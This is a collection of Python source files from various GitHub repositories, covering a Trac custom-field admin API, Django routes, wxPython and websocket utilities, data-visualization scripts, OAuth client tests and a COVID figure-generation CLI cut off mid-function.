TicketSystem(self.env).get_custom_fields()\r\n            for item in all:\r\n                if item['name'] == customfield['name']:\r\n                    return item\r\n            return None        # item not found\r\n    \r\n    def verify_custom_field(self, customfield, create=True):\r\n        \"\"\" Basic validation of the input for modifying or creating\r\n        custom fields. \"\"\"\r\n        # Name, Type and Label is required\r\n        if not (customfield.get('name') and customfield.get('type') \\\r\n                and customfield.get('label')):\r\n            raise TracError(\"Custom field needs at least a name, type and label.\")\r\n        # Use lowercase custom fieldnames only\r\n        customfield['name'] = customfield['name'].lower()\r\n        # Only alphanumeric characters (and [-_]) allowed for custom fieldname\r\n        if re.search('^[a-z0-9-_]+$', customfield['name']) == None:\r\n           raise TracError(\"Only alphanumeric characters allowed for custom field name (a-z or 0-9 or -_).\")\r\n        # Name must begin with a character - anything else not supported by Trac\r\n        if not customfield['name'][0].isalpha():\r\n            raise TracError(\"Custom field name must begin with a character (a-z).\")\r\n        # Check that it is a valid field type\r\n        if not customfield['type'] in ['text', 'checkbox', 'select', 'radio', 'textarea']:\r\n            raise TracError(\"%s is not a valid field type\" % customfield['type'])\r\n        # Check that field does not already exist (if modify it should already be deleted)\r\n        if create and self.config.get('ticket-custom', customfield['name']):\r\n            raise TracError(\"Can not create as field already exists.\")\r\n    \r\n    def create_custom_field(self, customfield):\r\n        \"\"\" Create the new custom fields (that may just have been deleted as part\r\n        of 'modify'). Note: Caller is responsible for verifying input before create.\"\"\"\r\n        # Set the mandatory items\r\n        self.config.set('ticket-custom', customfield['name'], customfield['type'])\r\n        self.config.set('ticket-custom', customfield['name'] + '.label', customfield['label'])\r\n        # Optional items\r\n        if 'value' in customfield:\r\n            self.config.set('ticket-custom', customfield['name'] + '.value', customfield['value'])\r\n        if 'options' in customfield:\r\n            self.config.set('ticket-custom', customfield['name'] + '.options', '|'.join(customfield['options']))\r\n        if 'format' in customfield:\r\n            self.config.set('ticket-custom', customfield['name'] + '.format', customfield['format'])\r\n        # Textarea\r\n        if customfield['type'] == 'textarea':\r\n            cols = customfield.get('cols') and int(customfield.get('cols', 0)) > 0 \\\r\n                                                and customfield.get('cols') or 60\r\n            rows = customfield.get('rows', 0) and int(customfield.get('rows', 0)) > 0 \\\r\n                                                and customfield.get('rows') or 5\r\n            self.config.set('ticket-custom', customfield['name'] + '.cols', cols)\r\n            self.config.set('ticket-custom', customfield['name'] + '.rows', rows)\r\n        # Order\r\n        order = customfield.get('order', \"\")\r\n        if order == \"\":\r\n            order = len(self.get_custom_fields())\r\n        self.config.set('ticket-custom', customfield['name'] + '.order', order)\r\n        self.config.save()\r\n\r\n    def update_custom_field(self, customfield, create=False):\r\n        \"\"\" Updates a custom. Option to 'create' is kept in order to keep\r\n        the API backwards compatible. \"\"\"\r\n        if create:\r\n            self.verify_custom_field(customfield)\r\n            self.create_custom_field(customfield)\r\n            return\r\n        # Check input, then delete and save new\r\n        self.verify_custom_field(customfield, create=False)\r\n        self.delete_custom_field(customfield, modify=True)\r\n        self.create_custom_field(customfield)\r\n    \r\n    def delete_custom_field(self, customfield, modify=False):\r\n        \"\"\" Deletes a custom field.\r\n        Input is a dictionary (see update_custom_field), but only ['name'] is required.\r\n        \"\"\"\r\n        if not self.config.get('ticket-custom', customfield['name']):\r\n            return # Nothing to do here - cannot find field\r\n        if not modify:\r\n            # Permanent delete - reorder later fields to lower order\r\n            order_to_delete = self.config.getint('ticket-custom', customfield['name']+'.order')\r\n            cfs = self.get_custom_fields()\r\n            for field in cfs:\r\n                if field['order'] > order_to_delete:\r\n                    self.config.set('ticket-custom', field['name']+'.order', field['order'] -1 )\r\n        # Remove any data for the custom field (covering all bases)\r\n        for option, _value in self.config.options('ticket-custom'):\r\n            if option == customfield['name'] \\\r\n                    or option.startswith(customfield['name'] + '.'):\r\n                self.config.remove('ticket-custom', option)\r\n        # Persist permanent deletes\r\n        if not modify:\r\n            self.config.save()\r\n","repo_name":"okamototk/kanonconductor","sub_path":"resource/trac-plugins/customfieldadmin/customfieldadmin/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"72950507998","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"poster\"\n\n# first argument is relative URL; second is the view it corresponds to in\n# views.py; third is the name of the view (necessary for the reverse() function,\n# which is explained in views.py)\nurlpatterns = [\n    path('', views.IndexView.as_view(), name='index'),\n    path('new', views.new, name='new'),\n    path('detail/<int:pk>', views.PostView.as_view(), name='detail'),\n    path('delete/<int:pk>', views.delete, name='delete')\n]\n","repo_name":"jerzh/django-tutorial-ish","sub_path":"poster/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41927581361","text":"import re\n\nimport wx\n\nfrom pubsub import pub\nfrom pyxenoverse.gui import get_first_item, get_next_item\nfrom pyxenoverse.gui.ctrl.hex_ctrl import HexCtrl\nfrom pyxenoverse.gui.ctrl.multiple_selection_box import MultipleSelectionBox\nfrom pyxenoverse.gui.ctrl.single_selection_box import SingleSelectionBox\nfrom pyxenoverse.gui.ctrl.unknown_hex_ctrl import UnknownHexCtrl\n\nfrom yabcs.utils import FIND_ITEM_TYPES, color_db\n\npattern = re.compile(r'([ \\n/_])([a-z0-9]+)')\n\n\nclass FindDialog(wx.Dialog):\n    def __init__(self, parent, main_panel, *args, **kw):\n        super().__init__(parent, *args, **kw, style=wx.DEFAULT_DIALOG_STYLE | wx.STAY_ON_TOP)\n        self.root = parent\n        self.main_panel = main_panel\n        self.part_sets_list = self.main_panel.pages[\"Part Sets\"].entry_list\n\n        self.SetTitle(\"Find\")\n        self.selected = None\n        self.focused = None\n\n        self.sizer = wx.BoxSizer(wx.VERTICAL)\n\n        self.hsizer = wx.BoxSizer()\n        self.sizer.Add(self.hsizer)\n\n        self.items = wx.Choice(self, -1, choices=[item[0].get_readable_name() for item in FIND_ITEM_TYPES])\n        self.items.Bind(wx.EVT_CHOICE, self.on_choice)\n\n        self.entry = wx.Choice(self, -1)\n\n        # Setup Selections\n        self.items.SetSelection(0)\n        self.on_choice(None)\n\n        self.find_ctrl = wx.TextCtrl(self, -1, '', size=(150, -1), style=wx.TE_PROCESS_ENTER)\n        self.find_ctrl.Bind(wx.EVT_TEXT_ENTER, self.on_find)\n        self.find_ctrl.SetFocus()\n\n        self.grid_sizer = wx.FlexGridSizer(rows=4, cols=2, hgap=10, vgap=10)\n        self.grid_sizer.Add(wx.StaticText(self, -1, 'Type: '))\n        self.grid_sizer.Add(self.items, 0, wx.EXPAND)\n        self.grid_sizer.Add(wx.StaticText(self, -1, 'Entry: '))\n        self.grid_sizer.Add(self.entry, 0, wx.EXPAND)\n        self.grid_sizer.Add(wx.StaticText(self, -1, 'Find: '))\n        self.grid_sizer.Add(self.find_ctrl, 0, wx.EXPAND)\n        self.hsizer.Add(self.grid_sizer, 0, wx.ALL, 10)\n\n        self.button_sizer = wx.BoxSizer(wx.VERTICAL)\n        self.find_button = wx.Button(self, -1, \"Find Next\")\n        self.find_button.Bind(wx.EVT_BUTTON, self.on_find)\n\n        self.button_sizer.Add(self.find_button, 0, wx.ALL, 2)\n        self.button_sizer.Add(wx.Button(self, wx.ID_CANCEL, \"Cancel\"), 0, wx.ALL, 2)\n        self.hsizer.Add(self.button_sizer, 0, wx.ALL, 8)\n\n        self.status_bar = wx.StatusBar(self)\n        self.sizer.Add(self.status_bar, 0, wx.EXPAND)\n\n        self.Bind(wx.EVT_SHOW, self.on_show)\n\n        self.SetSizer(self.sizer)\n        self.sizer.Fit(self)\n\n        self.SetAutoLayout(0)\n\n    def on_show(self, e):\n        if not e.IsShown():\n            return\n        try:\n            selected = self.part_sets_list.GetSelections()\n            item_types, fields = zip(*FIND_ITEM_TYPES)\n            # Only set value if one item is selected\n            if not len(selected) == 1:\n                return\n            data = self.part_sets_list.GetItemData(selected[0])\n            try:\n                item_index = item_types.index(type(data))\n                self.items.SetSelection(item_index)\n                self.on_choice(None)\n            except ValueError:\n                return\n\n            # Find control focus\n            ctrl = self.FindFocus()\n            if type(ctrl.GetParent()) in (wx.SpinCtrlDouble, UnknownHexCtrl, SingleSelectionBox, MultipleSelectionBox):\n                ctrl = ctrl.GetParent()\n            elif type(ctrl.GetParent().GetParent()) in (SingleSelectionBox, MultipleSelectionBox):\n                ctrl = ctrl.GetParent().GetParent()\n            name = pattern.sub(r'_\\2', ctrl.GetName().lower())\n            try:\n                if data and not isinstance(data, list):\n                    self.entry.SetSelection(fields[item_index].index(name))\n\n                # Set hex value if needed\n                if type(ctrl) in (HexCtrl, UnknownHexCtrl, SingleSelectionBox, MultipleSelectionBox):\n                    self.find_ctrl.SetValue(f'0x{ctrl.GetValue():X}')\n                else:\n                    self.find_ctrl.SetValue(str(ctrl.GetValue()).split(\":\")[0])\n            except ValueError:\n                pass\n        except AttributeError:\n            pass\n\n    def on_choice(self, _):\n        self.entry.Clear()\n        selection = self.items.GetSelection()\n        if selection < len(FIND_ITEM_TYPES):\n            item_type, attrs = FIND_ITEM_TYPES[self.items.GetSelection()]\n            for attr in attrs:\n                self.entry.Append(attr)\n        self.entry.Select(0)\n\n    def select_found(self, item, entry_type):\n        # Set page if not on correct page\n        if self.main_panel.notebook.GetSelection() != 0:\n            self.main_panel.notebook.SetSelection(0)\n\n        # Select found item\n        self.part_sets_list.UnselectAll()\n        self.part_sets_list.SelectItem(item)\n\n        # Expand item and scroll to it\n        self.main_panel.pages[\"Part Sets\"].expand_parents(item)\n        if not self.part_sets_list.IsVisible(item):\n            self.part_sets_list.ScrollTo(item)\n\n        # Focus on entry\n        pub.sendMessage('focus_on', entry=entry_type)\n        self.SetFocus()\n        self.status_bar.SetStatusText('')\n\n    def find(self, selected, item_type, entry_type, find):\n        if not selected.IsOk():\n            self.status_bar.SetStatusText('No matches found')\n            return\n        # Get next item\n        item = get_next_item(self.part_sets_list, selected)\n        if not item.IsOk():\n            item, _ = get_first_item(self.part_sets_list)\n\n        # Loop over\n        while item != selected:\n            data = self.part_sets_list.GetItemData(item)\n            if (type(data) == item_type and\n                    (find is None or\n                     (isinstance(find, int) and data[entry_type] == find) or\n                     (isinstance(find, str) and find.lower() in data[entry_type].lower()))):\n                self.select_found(item, entry_type)\n                break\n\n            item = get_next_item(self.part_sets_list, item)\n            if not item.IsOk():\n                item, _ = get_first_item(self.part_sets_list)\n        else:\n            self.status_bar.SetStatusText('No matches found')\n\n    def on_find(self, _):\n        if not color_db.bcs:\n            self.status_bar.SetStatusText(\"BCS not loaded\")\n            return\n        # Get Item Type\n        selection = self.items.GetSelection()\n        item_type, fields = FIND_ITEM_TYPES[selection]\n\n        # Get Entry Type\n        selection = self.entry.GetSelection()\n        entry_type = fields[selection]\n\n        # Get Find value\n        find = self.find_ctrl.GetValue()\n        if \"name\" not in entry_type:\n            try:\n                find = int(find, 0)\n            except ValueError:\n                self.status_bar.SetStatusText(\"Invalid Value\")\n                return\n        selected = self.part_sets_list.GetSelections()\n        if len(selected) == 1:\n            selected = selected[0]\n        else:\n            selected, _ = get_first_item(self.part_sets_list)\n        self.find(selected, item_type, entry_type, find)\n","repo_name":"KyonkoYuuki/YaBCSOrganizer","sub_path":"yabcs/dlg/find.py","file_name":"find.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"468661141","text":"import asyncio\n\nimport ewutil\n\nimport websockets\nimport zmq\n\nlogger = ewutil.Logger(file_name=\"ew_websockets.log\").logger\n\n\nasync def receive(websocket: websockets.WebSocketServerProtocol, path):\n    global logger\n    async for message in websocket:\n        logger.info(f\"Received message: {message}\")\n        await websocket.send(f\"Server received: {message}\")\n\n\n# 配置 websocket 服务器\nasync def run_server():\n    global logger\n    async with websockets.serve(receive, \"0.0.0.0\", 8765):\n        logger.info(\"Websocket server started...\")\n        await asyncio.Future()  # 防止协程退出\n\nasync def build_zmq_recv():\n    global logger\n    logger.info(\"build_zmq_recv started...\")\n\n    ctx = zmq.Context()\n    sock = ctx.socket(zmq.SUB)\n    addr = f'ipc:///tmp/huiwen_text_app_ew_websockets'\n    sock.connect(addr)\n    logger.info(f'sock connect to addr: {addr}')\n    while True:\n        await asyncio.sleep(1)\n        logger.info(\"build_zmq_recv is running...\")\n\n# 运行服务器\nasyncio.run(run_server())\n","repo_name":"wendell522/wd_digital_service","sub_path":"sap/ws_proxy/ewwebsockets.py","file_name":"ewwebsockets.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38168578275","text":"__author__ = 'Jithu Jim'\n\n#find missing bit\nB = []\ndef cal_missing_bit(A):\n    count_0 = 0\n    count_1 = 0\n    missing_bit = '0b'\n\n    for e in A:\n        one_digit = bin(e)[::-1][:-2]\n        if one_digit[0] == str(0):\n            count_0 +=1\n        else:\n            count_1 += 1\n\n    if (A[-1] + 1) % 2 == 0:\n        count_0_sup = (A[-1] + 1)/2\n        count_1_sup = (A[-1] + 1)/2\n    else:\n        count_1_sup = (A[-1] + 1)/2\n        count_0_sup = count_1_sup + 1\n\n    if count_0 != count_0_sup:\n        missing_bit = missing_bit + str(0)\n        for e in A:\n            if bin(e)[::-1][:-2][0] == str(0):\n                x = len(bin(e)[::-1][:-2])\n                y = len(bin(A[-1] + 1)[::-1][:-2])\n                for e in range(y-x):\n                    diff = '0'\n                B.append(str('0b')+diff+bin(e)[::-1][:-2])\n\n\n    if count_1 != count_1_sup:\n        missing_bit = missing_bit + str(1)\n        for e in A:\n            if bin(e)[::-1][:-2][0] == str(1):\n                x = len(bin(e)[::-1][:-2])\n                y = len(bin(A[-1] + 1)[::-1][:-2])\n                for e in range(y-x):\n                    diff = '0'\n                B.append(str('0b')+diff+bin(e)[::-1][:-2])\n\n    print(missing_bit)\n\nA = [0,1,2,3,4,6]\ncal_missing_bit(A)\n","repo_name":"SoumyJim/Cracking-The-Coding-Interview-Python-Solutions","sub_path":"Chapter-5/5.7.py","file_name":"5.7.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"18312103792","text":"from pyspark import SparkContext, SparkConf\n\nconf = SparkConf().setAppName('Problem 14')\nsc = SparkContext(conf=conf)\n\n# load data\nsentences = sc.textFile(\"/user/smartlin1/data/file1.txt\").glom().map(lambda x: \" \".join(x)).flatMap(lambda x: x.split(\".\"))\n\n# The glom() RDD method is used to create a single entry for each document containing the list of all lines, we can then join the lines up, then resplit them into sentences using \".\" as the separator, using flatMap so that every object in our RDD is now a sentence.\n\n# Now we have isolated each sentence we can split it into a list of words and extract the word bigrams from it. Our new RDD contains tuples containing the word bigram (itself a tuple containing the first and second word) as the first value and the number 1 as the second value. \nbigrams = sentences.map(lambda x: x.split(\" \")).flatMap(lambda x: [((x[i],x[i+1]),1)for i in range(0,len(x)-1)])\n\n# Apply reduceByKey and sort in order of descending frequency\nfreq_bigrams = bigrams.reduceByKey(lambda x, y: x + y).map(lambda x: (x[1], x[0])).sortByKey(False)\n\n# Checking the results\nfreq_bigrams.take(10)\n","repo_name":"smartlin5228/CCA175","sub_path":"problem14.py","file_name":"problem14.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"57"}
+{"seq_id":"40071820521","text":"import pandas as pd\nimport altair as alt\nimport geopandas as gpd\nfrom matplotlib import pyplot as plt\n\nalt.themes.enable('opaque')\n\n# set the filepath and load in a shapefile\nfp = \"/Users/saranking/Colorado_County_Boundaries\"\ngdf = gpd.read_file(fp)\ngdf.head()\n\ndf = pd.read_csv(\"/Users/saranking/profile-county.csv\", header=0)\ndf.head()\n\n# join the geodataframe with the cleaned up csv dataframe\nmerged = gdf.set_index('NUM_FIPS').join(df.set_index('CFIPS'))\nmerged.head()\n\n# set a variable that will call whatever column we want to visualise on the map\nvariable = 'Total Population'\n\n# set the range for the choropleth\nvmin, vmax = 3522, 5609445\n\n# create figure and axes for Matplotlib\nfig, ax = plt.subplots(1, figsize=(10, 6))\n\n# create map\nmerged.plot(column=variable, cmap='Blues', linewidth=0.8, ax=ax, edgecolor='0.8')\n\n# remove the axis\nax.axis('off')\n\n# add a title\nax.set_title(\"Total population in Colorado of 2017\", fontdict={'fontsize': '25', 'fontweight' : '3'})\n\n# Create colorbar as a legend\nsm = plt.cm.ScalarMappable(cmap='Blues', norm=plt.Normalize(vmin=vmin, vmax=vmax))\n\n# empty array for the data range\nsm._A = []\n\n# add the colorbar to the figure\ncbar = fig.colorbar(sm)\n\nfig.savefig(\"mapChart.png\", dpi=300)\n","repo_name":"alexallenspach/dataVisualization","sub_path":"coloradoPopulation2017_MapChart.py","file_name":"coloradoPopulation2017_MapChart.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"42718086370","text":"class student:\n\n    def study(self,course_name):\n        print(f'学生正在学习{course_name}.')\n\n    def play(self):\n        print(f'学生正在玩游戏.')\n\n\n#以构造器语法来创建对象\nstu1 = student()\nstu2 = student()\nprint(stu1)\nprint(stu2)\nprint(hex(id(stu1)),hex(id(stu2)))\n'''\n用print函数打印stu1和stu2两个变量时，\n我们会看到输出了对象在内存中的地址（十六进制形式），\n跟我们用id函数查看对象标识获得的值是相同的。\n'''\nstudent.study(stu1,'python程序设计')\n#类.方法 来调用\n\nstu1.study('python程序设计')\n#对象.方法 来调用\n\nstudent.play(stu2)\nstu2.play()","repo_name":"chanity256/Python","sub_path":"python-50courses/c17-t1.py","file_name":"c17-t1.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"22973739226","text":"\nfrom django.contrib import admin\nfrom django.urls import path\n\n\nfrom bike_app.views import Fake, customer_order, customers, rental_add, rental_details, show_details, vehicle, vehicle_add, vehicle_id\n\nurlpatterns = [\n    path(\"\",Fake, name = 'Fake' ),\n    path('rental',show_details, name= 'show_rental_details'),\n    path('details', rental_details, name='details'),\n    path('add',rental_add, name = 'add'),\n    path('customer', customers,name = 'customer'),\n    path('order', customer_order, name = 'order'),\n    path('vehicle', vehicle , name='vehicle' ),\n    path('vehicle_id',vehicle_id,name = 'vehicle_id'),\n    path('add_vehicle',vehicle_add,name = 'add_vehicle'),\n    \n\n]","repo_name":"Roycoder1/ALL","sub_path":"W8D1/day5/bike/bike_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"8137646785","text":"import uuid\n\nimport pytest\nimport requests\nfrom authlib.integrations.flask_client import OAuth\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import url_for\n\n\ndef test_server_configuration(iam_server):\n    res = requests.get(f\"{iam_server.url}/.well-known/openid-configuration\")\n    assert res.json()[\"issuer\"] == iam_server.url\n\n\ndef test_client_dynamic_registration(iam_server):\n    response = requests.post(\n        f\"{iam_server.url}/oauth/register\",\n        json={\n            \"client_name\": \"Nubla Dashboard\",\n            \"client_uri\": \"http://example.org\",\n            \"redirect_uris\": [\"http://example.org/authorize\"],\n            \"grant_types\": [\"authorization_code\"],\n            \"response_types\": [\"code\", \"token\", \"id_token\"],\n            \"token_endpoint_auth_method\": \"client_secret_basic\",\n            \"scope\": \"openid profile groups\",\n        },\n    )\n    client_id = response.json()[\"client_id\"]\n    client_secret = response.json()[\"client_secret\"]\n\n    client = iam_server.models.Client.get(client_id=client_id)\n    assert client.client_secret == client_secret\n\n\n@pytest.fixture\ndef app(iam_server, client):\n    app = Flask(__name__)\n    app.config[\"SECRET_KEY\"] = str(uuid.uuid4())\n    app.config[\"SERVER_NAME\"] = \"example.org\"\n\n    oauth = OAuth()\n    oauth.init_app(app)\n    oauth.register(\n        name=\"authorization_server\",\n        client_id=client.client_id,\n        client_secret=client.client_secret,\n        server_metadata_url=f\"{iam_server.url}/.well-known/openid-configuration\",\n        client_kwargs={\"scope\": \"openid profile groups\"},\n    )\n\n    @app.route(\"/login\")\n    def login():\n        return oauth.authorization_server.authorize_redirect(\n            url_for(\"authorize\", _external=True)\n        )\n\n    @app.route(\"/authorize\")\n    def authorize():\n        token = oauth.authorization_server.authorize_access_token()\n        return jsonify(token)\n\n    return app\n\n\n@pytest.fixture\ndef testclient(app):\n    app.config[\"TESTING\"] = True\n    return app.test_client()\n\n\ndef test_login_and_consent(iam_server, client, user, testclient):\n    iam_server.login(user)\n    iam_server.consent(user)\n\n    # attempt to access a protected page\n    res = testclient.get(\"/login\")\n\n    # authorization code request (already logged in an consented)\n    res = requests.get(res.location, allow_redirects=False)\n\n    authorization = iam_server.models.AuthorizationCode.get()\n    assert authorization.client == client\n\n    res = testclient.get(res.headers[\"Location\"])\n\n    token = iam_server.models.Token.get()\n    assert token.client == client\n\n    assert res.json[\"userinfo\"][\"sub\"] == \"user\"\n    assert res.json[\"access_token\"] == token.access_token\n","repo_name":"yaal-coop/pytest-iam","sub_path":"tests/test_client_application.py","file_name":"test_client_application.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"40368971305","text":"import re\n\n# map the colors in base16 (keys) to base2tone (values)\nbase16_base2tone_map = {\n    \"00\": \"A0\",\n    \"01\": \"A1\",\n    \"02\": \"A2\",\n    \"03\": \"A3\",\n    \"04\": \"A4\",\n    # 05 maps to A6 for Bold Color, but D0 for Cursor Color. Not sure which to\n    # use here.\n    \"05\": \"A6\",\n    \"06\": \"B6\",\n    \"07\": \"B7\",\n    \"08\": \"B2\",\n    \"09\": \"D5\",\n    \"0A\": \"D7\",\n    \"0B\": \"D4\",\n    \"0C\": \"B4\",\n    \"0D\": \"B3\",\n    \"0E\": \"D4\",\n    \"0F\": \"D3\",\n}\n\n\n# translate base16 colors to base2tone\ndef fix_refs(template):\n    return re.sub(\n        r'(base\\[\")(..)',\n        lambda x: x.group(1) + base16_base2tone_map[x.group(2)],\n        template,\n    )\n\n\n# for some unknown reason, base16-builder is not replacing the comment at the\n# head of the files, which makes them invalid bash scripts\ndef remove_head_comment(template):\n    return re.sub(r\"{#.*#}\", \"\", template, flags=re.S)\n\ndef main():\n    # now we need to replace the base16 colors with our base2tone ones\n    dark = open(\"templates/dark.ejs\").read()\n    light = open(\"templates/light.ejs\").read()\n    darkfixed = remove_head_comment(fix_refs(dark))\n    lightfixed = remove_head_comment(fix_refs(light))\n\n    open(\"templates/dark_2tone.ejs\", \"w\").write(darkfixed)\n    open(\"templates/light_2tone.ejs\", \"w\").write(lightfixed)\n\nif __name__==\"__main__\":\n    main()\n","repo_name":"llimllib/Base2Tone-gnome-terminal","sub_path":"map_templates.py","file_name":"map_templates.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"14166415605","text":"import numpy as np\nimport math\n\ndef vision(asteroids, x, y):\n    angles = [\n        math.atan2(y - y1, x - x1) * 180 / math.pi\n        for x1, y1 in asteroids\n    ]\n\n    return len(np.unique(angles, axis=0) - 1)\n\n\ndef rotate(x, y, angle):\n    \"\"\"Use numpy to build a rotation matrix and take the dot product.\"\"\"\n    radians = angle * math.pi / 180\n    c, s = np.cos(radians), np.sin(radians)\n    j = np.matrix([[c, s], [-s, c]])\n    m = np.dot(j, [x, y])\n\n    return float(m.T[0]), float(m.T[1])\n\n\ndef distance(a,b):\n    return sqrt((a.x - b.x)**2 + (a.y - b.y)**2)\n\n\ndef is_between(a,c,b):\n    return distance(a,c) + distance(c,b) == distance(a,b)\n\n\nwith open(\"010.txt\", \"r\") as f:\n    grid = np.array([list(fi) for fi in f.read().split(\"\\n\")[:-1]])\n\nasteroids = np.argwhere(grid=='#')\nvision_count = [[(x, y), vision(asteroids, x, y)] for x, y in asteroids]\nbest = sorted(vision_count, key=lambda x: x[1])[-1][0]\n\nprint('best', best)\n\nfor angle in range(0, 361):\n    print(angle, rotate(best[0], best[1], angle))\n\n","repo_name":"ejlb/advent2019","sub_path":"010b.py","file_name":"010b.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"45449157352","text":"import matplotlib.pyplot as plt\nimport json\nimport statistics as st\nfrom matplotlib.ticker import FormatStrFormatter\n\n\nX = []\nY = []\nErr = []\n\nfor i in range(2, 17):\n    f = open('results/stages{}.json'.format(i))\n\n    # returns JSON object as\n    # a dictionary\n    payload = json.load(f)\n    X.append(payload[0])\n    Y.append(payload[1])\n    Err.append(st.pstdev(payload[2]))\n    f.close()\n\n\nprint(X, Y, Err)\nprint(len(X), len(Y), len(Err))\n\n\nfig, ax = plt.subplots()\nax.plot(X, Y)\nax.errorbar(X, Y, yerr=Err, fmt='o')\n\nax.set_title(\"Optimal # Stages\", fontdict={'fontsize':28})\nax.set_xlabel(\"# Stages\", fontsize=28)\nax.set_ylabel(\"Maximum Occupancy\", fontsize=28)\nax.yaxis.set_major_formatter(FormatStrFormatter('%d %%'))\nax.grid(True)\nax.legend()\n\nfig.savefig(\"formatted/optimal.png\")\n","repo_name":"obventio56/adaptive_cuckoo_firewall","sub_path":"experiments/make_graphs/make_graphs_optimal_stage_count.py","file_name":"make_graphs_optimal_stage_count.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"11300110380","text":"#!/usr/bin/env python\n\nimport argparse\nimport asyncio\nfrom functools import partial\nimport multiprocessing\nimport os\nimport psutil\nfrom psutil import NoSuchProcess\nimport signal\nimport subprocess\nimport time\n\nfrom covid_by_county.create_figures import save_figures, show_figures\nfrom covid_by_county.file_handler import FileHandler\n\n\ndef return_parsed_args(args):\n    \"\"\"Parse and define command line arguments.\n\n    :param args: LIST; like ['-t 40']\n    :return: OBJ; Namespace object looking something like this:\n        Namespace(post=False, schedule=None, threshold=40)\n    \"\"\"\n\n    parser = argparse.ArgumentParser(description='')\n    parser.add_argument('-d', '--download_new', type=bool, default=True,\n                        help=\"\"\"Download CSV files that exist in the upstream \n                        repository but not in the local data directory. When \n                        False, no files will be downloaded.\n                        See also '--replace_existing'.\n                        \"\"\")\n    parser.add_argument('-p', '--process_handling', type=str, default='auto',\n                        help=\"\"\"Options: 'auto' (default) or 'manual'.\n                        Since Plotly does not reliably kill Orca processes\n                        spawned when multiprocessing is used, the 'auto' \n                        option utilizes the OS to take care of it.\n                        The 'manual' option, in which the application keeps \n                        track of the processes and kills them when finished, \n                        runs about twice as fast as the 'auto' option but is \n                        considered higher risk (due simply to my own \n                        inexperience managing process pools manually).\n                        \"\"\")\n    parser.add_argument('--processors', type=int, default=8, help=\"\"\"Set the \n                        number of processors to use for image creation.\n                        \"\"\")\n    parser.add_argument('-r', '--replace_existing', type=bool, default=False,\n                        help=\"\"\"When False, only files that don't exist \n                        locally will be downloaded from the upstream repo and \n                        written to the local data directory. When True, all \n                        local files will be overwritten with all available \n                        files from the upstream repo.\n                        See also '--download_new'.\n                        \"\"\")\n    parser.add_argument('-s', '--start_date', type=str, help=\"\"\"\n                        Use this flag to only download data files that are more \n                        recent than the start date (inclusive).\n                        Formats: yyyy-m-d, like '2020-3-27'.  You can also use \n                        leading zeros for the month and day if you prefer.\n                        \"\"\")\n    return parser.parse_args(args)\n\n\ndef intermediate_func(png_dir, figure_creator, data_file):\n\n    subprocess.call(['python', figure_creator, png_dir, data_file])\n\n\nasync def main(args):\n    \"\"\"\n\n    :param args: LIST; like ['-p manual']\n    :return: None\n    \"\"\"\n    cli_args = return_parsed_args(args)\n    download_new = cli_args.download_new\n    num_processors = cli_args.processors\n    replace_existing = cli_args.replace_existing\n\n    start_date = None\n    if cli_args.start_date:\n        year, month, day = cli_args.start_date.split('-')\n        try:\n            year = int(year)\n            month = int(month)\n            day = int(day)\n        except (UnboundLocalError, ValueError) as e:\n            print(e, \"Year, month, and day must by hyphen-separated integers.\")\n        else:\n            start_date = (year, month, day)\n\n    if start_date:\n        file_handler = FileHandler(start_date=start_date)\n    else:\n        file_handler = FileHandler()\n    file_handler.create_data_dirs()\n\n    if download_new is True:\n        await file_handler.download_files(replace_existing=replace_existing)\n\n    start_time = time.time()\n\n    data_files = [\n        str(file) for file in file_handler.raw_data_paths\n        if not await file_handler.file_exists(file_handler.png_dir, file,\n                                              '.png')\n    ]\n\n    if cli_args.process_handling.lower() == 'auto':\n        try:\n            with multiprocessing.Pool(num_processors) as pool:\n                f = partial(\n                    intermediate_func,\n                    str(file_handler.png_dir),\n                    str(file_handler.figure_creator))\n\n                pool.map(f, data_files)\n                pool.close()  # I'm done with the pool\n                pool.join()  # Don't move on till it's finished\n\n        except ValueError as e:\n            print(e)\n\n    elif cli_args.process_handling.lower() == 'manual':\n        all_procs = []\n        try:\n            with multiprocessing.Pool(num_processors) as pool:\n                f = partial(\n                    save_figures,\n                    str(file_handler.png_dir)\n                )\n                pool.map(f, data_files)\n\n                all_procs = create_process_list(pool)\n\n        except ValueError as e:\n            print(e)\n            all_procs = create_process_list(pool)\n        finally:\n            kill_procs(all_procs)\n\n    else:\n        print(f\"You entered {cli_args.process_handling} for the '-p' option. \"\n              f\"Allowable options are 'auto' and 'manual' (case insensitive).\")\n\n    duration = time.time() - start_time\n    print(f\"Images written in {duration} seconds.\")\n\n\ndef create_process_list(pool):\n    